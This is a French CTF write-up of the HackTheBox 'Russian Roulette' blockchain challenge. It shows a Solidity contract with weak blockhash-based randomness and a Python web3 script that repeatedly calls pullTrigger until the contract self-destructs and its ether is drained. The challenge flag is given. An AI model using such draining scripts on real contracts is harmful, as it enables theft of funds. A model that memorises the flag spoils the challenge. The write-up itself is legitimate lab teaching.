Russian Roulette
Catégorie: Blockchain Difficulté: very-easy Flag: HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
Challenge
Description
Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?
Ce challenge tourne sur un docker, disponible sur Github
Analyse du contrat
Le contrat possède une fonction publique qui permet de le détruire selon un nombre pseudo-aléatoire
ragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Le flag n’est récupérable que si le contat RussianRoulette
a balance vide. Donc l’objectif ici est d’appeler la fonction pullTrigger
jusqu’à ce que le contrat soit détruit.
Script de résolution
from web3 import Web3
import requests
import solcx
from pwnlib.tubes.remote import remote
VERSION = '0.8.23'
solcx.install_solc(version=VERSION)
solcx.set_solc_version(version=VERSION)
class Web3Client:
def __init__(self, host, port):
# Récupération des adresses des contrats
base = f"{host}:{port}"
self.w3 = Web3(Web3.HTTPProvider(f"http://{base}"))
self.info = requests.get(f"http://{base}/connection_info").json()
self.contracts = {
'setup': self.get_contract('Setup.sol', self.info['setupAddress']),
'russian_roulette': self.get_contract('RussianRoulette.sol', self.info['TargetAddress']),
}
def get_contract(self, filename: str, address: str):
compiled_sol = solcx.compile_files([filename])
key = filename + ':' + filename.split('.')[0]
interface = compiled_sol[key]
return self.w3.eth.contract(address=address, abi=interface['abi'])
# Attend la fin d'une transaction
def wait(self, transaction_hash):
self.w3.eth.wait_for_transaction_receipt(transaction_hash)
def solve(host, port1, port2):
# Connexion via RPC à la blockchain
w3_client = Web3Client(host, port1)
# Tant que la balance du contrat n'est pas vide
while w3_client.w3.eth.get_balance(w3_client.contracts['russian_roulette'].address) != 0:
print("Pull trigger...")
# Appel de la fonction pullTigger
w3_client.wait(w3_client.contracts['russian_roulette'].functions.pullTrigger().transact())
print("Contract lost 💀")
# Connexion via socket au serveur raw
so_client = remote(host, port2)
so_client.sendlineafter(b'action? ', b'3')
# Récupération du flag
flag = so_client.recvall(timeout=1).decode().strip()
print(f"Flag: {flag}")
if __name__ == '__main__':
solve('94.237.54.170', 37012, 39495)
Dernière mise à jour
Cet article vous a-t-il été utile ?